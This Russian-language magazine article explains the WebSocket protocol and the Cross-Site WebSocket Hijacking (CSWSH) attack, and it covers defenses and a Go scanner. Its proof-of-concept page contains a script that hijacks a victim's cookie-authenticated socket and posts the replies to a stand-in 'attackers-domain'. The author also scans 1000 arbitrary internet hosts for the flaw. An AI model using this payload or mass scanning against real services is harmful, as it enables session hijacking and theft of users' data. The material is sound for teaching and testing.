Хакер - Cross-Site WebSocket Hijacking. Разбираемся, как работает атака на WebSocket
hacker_frei
Андрей Балабанов
Содержание статьи
- Описание протокола
- Установка соединения
- Передача данных
- Как работает уязвимость
- CSWSH в тестовой среде
- Создание утилиты cswsh-scanner
- CSWSH в «дикой природе»
- Защита от CSWSH
- Выводы
Впервые об уязвимости Cross-Site WebSocket Hijacking (CSWSH) я узнал из статьи Кристиана Шнайдера и выступления Михаила Егорова, но не обратил на нее внимания. Позже, читая репорт на HackerOne, оцененный в 800 долларов, понял, что хочу разобраться. На просторах Рунета подробного описания CSWSH не нашлось, и я решил написать его самостоятельно.
В этой статье мы разберем протокол WebSocket, подробно остановимся на уязвимости CSWSH — насколько она распространена в открытом интернете. Для тех, кто дочитает до конца, я приготовил бонус в виде утилиты cswsh-scanner, с помощью которой ты можешь проверить свои приложения, работающие с WebSocket, либо попытать удачи на баг‑баунти.
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
ОПИСАНИЕ ПРОТОКОЛА
Итак, что такое WebSocket? Википедия дает следующее определение: «WebSocket — протокол связи поверх TCP-соединения, предназначенный для обмена сообщениями между браузером и веб‑сервером в режиме реального времени». В отличие от синхронного протокола HTTP, построенного по модели «запрос — ответ», WebSocket полностью асинхронный и симметричный. Он применяется для организации чатов, онлайн‑табло и создает постоянное соединение между клиентом и сервером, которое обе стороны могут использовать для отправки данных.
Протокол WebSocket определен в RFC 6455. Для протокола зарезервированы две URI-схемы:
- для обычного соединения:
ws://host[:port]path[?query]; - для соединений через туннель TLS:
wss://host[:port]path[?query].
WebSocket достаточно распространен в современной веб‑разработке, есть поддержка во всех популярных языках программирования и браузерах. Его используют в онлайн‑чатах, досках объявлений, веб‑консолях, приложениях трейдеров. С помощью поисковика shodan.io можно с легкостью найти приложения на WebSocket, доступные из интернета. Достаточно сформировать простой запрос. Я не поленился и сделал:
Search for Sec-WebSocket-Version HTTP/1.1 400 Bad Request returned 55,461 results on 10-05-2020
В результате нашлось 55 тысяч адресов с обширной географией.

УСТАНОВКА СОЕДИНЕНИЯ
Разберем теперь, как работает WebSocket. Взаимодействие между клиентом и сервером начинается с рукопожатия. Для рукопожатия клиент и сервер используют протокол HTTP, но с некоторыми отличиями в формате передаваемых сообщений. Не соблюдаются все требования к HTTP-сообщениям. Например, отсутствует заголовок Content-Length.
Для начала клиент инициирует соединение и отправляет запрос серверу:
GET /echo HTTP/1.1
Host: localhost:8081
Sec-WebSocket-Version: 13
Origin: http://localhost:8081
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Connection: keep-alive, Upgrade
Upgrade: websocket
Заголовки Sec-WebSocket-Version, Sec-WebSocket-Key, Connection: Upgrade и Upgrade: websocket обязательны, иначе сервер возвращает статус HTTP/1.1 400 Bad Request. Сервер отвечает на запрос клиента следующим образом:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Заголовок Sec-WebSocket-Key формируется клиентом как случайное 16-байтовое значение, закодированное в Base64. Вариант формирования заголовка на Go:
func generateChallengeKey() (string, error) {
p := make([]byte, 16)
if _, err := io.ReadFull(rand.Reader, p); err != nil {
return "", err
}
return base64.StdEncoding.EncodeToString(p), nil
}
Заголовок Sec-WebSocket-Accept в ответе формируется по следующему алгоритму. Берется строковое значение из заголовка Sec-WebSocket-Key и объединяется с GUID 258EAFA5-E914-47DA-95CA-C5AB0DC85B11. Далее вычисляется хеш SHA-1 от полученной в первом пункте строки. Хеш кодируется в Base64. Вариант формирования заголовка на Go:
const GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
func computeAcceptKey(challengeKey string) string {
h := sha1.New()
h.Write([]byte(challengeKey + GUID))
return base64.StdEncoding.EncodeToString(h.Sum(nil))
}
Заголовки Sec-WebSocket-Key и Sec-WebSocket-Accept не используются для авторизации и поддержки сессий, они служат для того, чтобы стороны убедились, что запрос и ответ относятся к протоколу WebSocket. Это помогает гарантировать, что сервер не принимает от клиентов запросы, не относящиеся к WebSocket.
Также RFC 6455 предполагает, что Sec-WebSocket-Key должен быть выбран случайным образом для каждого соединения. Это означает, что любой кешированный результат от прокси‑сервера будет содержать невалидный Sec-WebSocket-Accept и, следовательно, рукопожатие провалится вместо непреднамеренного чтения кешированных данных. Для успешного завершения рукопожатия клиент проверяет значение Sec-WebSocket-Accept и ожидает статус‑код 101 Switching Protocols. После того как рукопожатие выполнено, первоначальное соединение HTTP заменяется соединением по WebSocket, которое использует то же соединение TCP/IP. На этом этапе любая из сторон может начать отправку данных.
Для мониторинга трафика WebSocket удобно использовать «Инструменты разработчика», доступные, к примеру, в Chrome.

ПЕРЕДАЧА ДАННЫХ
Как в WebSocket передаются сообщения? Данные по протоколу WebSocket передаются как последовательность фреймов. Фрейм имеет заголовок, в котором содержится следующая информация:
- фрагментировано ли сообщение;
- тип передаваемых данных — all code;
- подвергалось ли сообщение маскировке — флаг маски;
- размер данных;
- ключ маски (32 бита);
- другие управляющие данные (ping, pong...).
Формат фрейма представлен на рисунке.

Все сообщения, посылаемые клиентом, должны маскироваться. Пример отправки тестового сообщения «Hello world!» клиентом (данные из tcpdump):
Fin: True
Reserved: 0x0
Opcode: Text (1)
Mask: True
Payload length: 12
Masking-Key: a2929b01
Payload: eaf7f76dcdb2ec6ed0feff20
Маскировка производится обычным XOR с ключом маски. Клиент должен менять ключ для каждого переданного фрейма. Сервер не должен маскировать свои сообщения. Пример отправки тестового сообщения «Hello world!» сервером:
Fin: True
Reserved: 0x0
Opcode: Text (1)
Mask: False
Payload length: 12
Payload: 48656c6c6f20776f726c6421
Маскировка передаваемых сообщений некриптостойкая, чтобы обеспечить конфиденциальность, для WebSocket следует использовать протокол TLS и схему WSS.
КАК РАБОТАЕТ УЯЗВИМОСТЬ
С протоколом разобрались, самое время перейти к CSWSH. Протокол WebSocket использует Origin-based модель безопасности при работе с браузерами. Другие механизмы безопасности, например SOP (Same-origin policy), для WebSocket не применяются. RFC 6455 указывает, что при установке соединения сервер может проверять Origin, а может и нет:
Поле заголовка Origin в рукопожатии клиента означает происхождение скрипта, который устанавливает соединение. Origin сериализуется через ASCII и конвертируется в нижний регистр. Сервер МОЖЕТ использовать эту информацию при принятии решения о том, принимать ли входящее соединение. Если сервер не проверяет Origin, он будет принимать соединение откуда угодно. Если сервер решает не принимать соединение, он ОБЯЗАН вернуть соответствующий номер ошибки HTTP (то есть 403 Forbidden) и отменить рукопожатие по WebSocket, описанное в этой секции.
Уязвимость CSWSH связана со слабой или невыполненной проверкой заголовка Origin в рукопожатии клиента. Это разновидность уязвимости подделки межсайтовых запросов (CSRF), только для WebSocket. Если приложение WebSocket использует файлы cookie для управления сеансами пользователя, злоумышленник может подделать запрос на рукопожатие с помощью атаки CSRF и контролировать сообщения, отправляемые и получаемые через соединение WebSocket.
Страница злоумышленника может затем отправлять произвольные сообщения на сервер через соединение и считывать содержимое сообщений, полученных обратно с сервера. Это означает, что, в отличие от обычного CSRF, злоумышленник получает двустороннее взаимодействие со скомпрометированным приложением.
Успешная атака CSWSH позволяет злоумышленнику:
- Выполнять несанкционированные действия, маскируясь под пользователя‑жертву. Как и в случае обычной CSRF, злоумышленник может отправлять произвольные сообщения в серверное приложение. Если оно использует сгенерированные клиентом сообщения WebSocket для выполнения конфиденциальных действий, то злоумышленник может сгенерировать подходящие междоменные сообщения и инициировать эти действия.
- Получить конфиденциальные данные, к которым пользователь может иметь доступ. В отличие от обычного CSRF, межсайтовый захват WebSocket дает злоумышленнику двустороннее взаимодействие с уязвимым приложением через подконтрольный WebSocket. Если приложение использует сгенерированные сервером сообщения WebSocket для возврата любых конфиденциальных данных пользователю, то злоумышленник может перехватить эти сообщения и данные пользователя‑жертвы.
CSWSH В ТЕСТОВОЙ СРЕДЕ
Рассмотрим атаку CSWSH на примере уязвимого приложения wss://echo.websocket.org. Схема атаки выглядит следующим образом.

Разберем по шагам, далее будет приведены сообщения в формате HTTP, полученные на каждом этапе.
Жертва в браузере отрывает подконтрольный злоумышленнику сайт:
GET / HTTP/1.1
Host: attackers-domain
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Получает от сайта страницу с вредоносным содержимым:
HTTP/1.1 200 OK
Host: attackers-domain
Date: Tue, 28 Apr 2020 16:41:03 +0000
Connection: close
X-Powered-By: PHP/7.1.33
Content-type: text/html; charset=UTF-8
<!DOCTYPE html>
<html>
<body>
<script>
websocket = new WebSocket('wss://echo.websocket.org');
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("attackers-message");
}
function handleReply(event) {
fetch('http://attackers-domain/', {method:'POST',mode:'no-cors',body:event.data})
}
</script>
</body>
</html>
Браузер жертвы выполняет скрипт и устанавливает соединение с WebSocket приложением ws://echo.websocket.org в контексте жертвы, передавая значение cookie:
GET / HTTP/1.1
Host: echo.websocket.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://attackers-domain
Sec-WebSocket-Key: twWJRgpy7uu5K9RlQCykJQ==
DNT: 1
Connection: keep-alive, Upgrade
Cookie: SESSIONID=bigsecret
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
Приложение принимает заголовок Origin: http://attackers-domain и открывает новое соединение WebSocket, связанное с кукой SESSIONID=bigsecret:
HTTP/1.1 101 Web Socket Protocol Handshake
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Headers: authorization
Access-Control-Allow-Headers: x-websocket-extensions
Access-Control-Allow-Headers: x-websocket-version
Access-Control-Allow-Headers: x-websocket-protocol
Access-Control-Allow-Origin: http://attackers-domain
Connection: Upgrade
Date: Tue, 28 Apr 2020 16:30:53 GMT
Sec-WebSocket-Accept: dLe0PXjy/nj7MF8Idif/PLQLNM0=
Server: Kaazing Gateway
Upgrade: websocket
Злоумышленник отправляет от лица жертвы сообщение attackers-message.
От приложения, отвечающего за WebSocket, приходит ответное сообщение. Поскольку наше приложение — это эхо‑сервер, ответ тоже будет attackers-message.
На заключительном этапе ответ от сервера пересылается на подконтрольный злоумышленнику домен:
POST / HTTP/1.1
Host: attackers-domain
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://attackers-domain/
Content-Type: text/plain;charset=UTF-8
Origin: http://attackers-domain
Content-Length: 17
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
attackers-message
СОЗДАНИЕ УТИЛИТЫ CSWSH-SCANNER
На основе методологии OWASP я разработал на Go утилиту cswsh-scanner, ты можешь найти ее на моем GitHub. Можешь подключить ее модулем в свой проект или запустить вариант для командной строки. Утилита тестирует рукопожатие с сервером: пытается установить соединение с «поддельным» заголовком Origin (не совпадает location сервера). Сервер в таком случае не должен установить соединение и вернуть статус‑код 403.
Установка утилиты:
$ go get -v -u github.com/ambalabanov/cswsh-scanner/...
Адреса для тестов задаются через stdin, возможно выставить свое значение заголовка Origin. Поддерживается многопоточность и socket.io.
$ cswsh-scanner -h
Usage of cswsh-scanner:
-o string
Origin (default "http://hacker.com")
-s Socket.IO
-v Verbose output
-w int
Number of workers (default 1)
Для примера просканируем уже известное нам приложение ws://echo.websocket.org. Вывод сканера:
$ cswsh-scanner
ws://echo.websocket.org
true,ws://echo.websocket.org
wss://echo.websocket.org
true,wss://echo.websocket.org
CSWSH В «ДИКОЙ ПРИРОДЕ»
Чтобы оценить, насколько распространена уязвимость CSWSH, можно запустить сканер на произвольной выборке WebSocket приложений из shodan.io. Я протестировал на выборке из 1000 адресов (файл input.txt):
$ grep wss:// input.txt | wc -l
1000
C помощью cswsh-scanner проведено тестирование:
$ cat input.txt| cswsh-scanner -w 100 | grep true | wc -l
48
Результат впечатляет: 4,8% сервисов из выборки потенциально уязвимы к CSWSH и принимают запрос на рукопожатие с произвольным заголовком Origin. А это значит, что разработчики приложения либо администраторы серверов не оценили опасность CSWSH и не приняли меры, чтобы защититься от нее.
ЗАЩИТА ОТ CSWSH
Защититься от CSWSH можно двумя способами:
- проверять заголовок Origin запроса на рукопожатие WebSocket на сервере;
- использовать индивидуальные случайные токены (например, CSRF-токены) в запросе на рукопожатие и проверять их на сервере.
Иногда защита от CSWSH уже встроена в библиотеки, но далеко не всегда. Пример того, как реализована защита от CSWSH в фреймворке Gorilla WebSocket:
// checkSameOrigin returns true if the origin is not set or is equal to the request host.
func checkSameOrigin(r *http.Request) bool {
origin := r.Header["Origin"]
if len(origin) == 0 {
return true
}
u, err := url.Parse(origin[0])
if err != nil {
return false
}
return equalASCIIFold(u.Host, r.Host)
}
Проверка Origin включена по умолчанию: сравниваются значения заголовков Host и Origin из запроса рукопожатия.
ВЫВОДЫ
Уязвимость Cross-Site WebSocket Hijacking относится к классу CSRF для WebSocket. Она проста в эксплуатации и защите. При определенных обстоятельствах (зависит от бизнес‑логики приложения) может привести к серьезным последствиям. Но разработчики уделяют ей мало внимания, и, как показывает сканирование, CSWSH — довольно распространенная уязвимость в приложениях, использующих WebSocket.
Читайте ещё больше платных проблем бесплатно: https://t.me/hacker_frei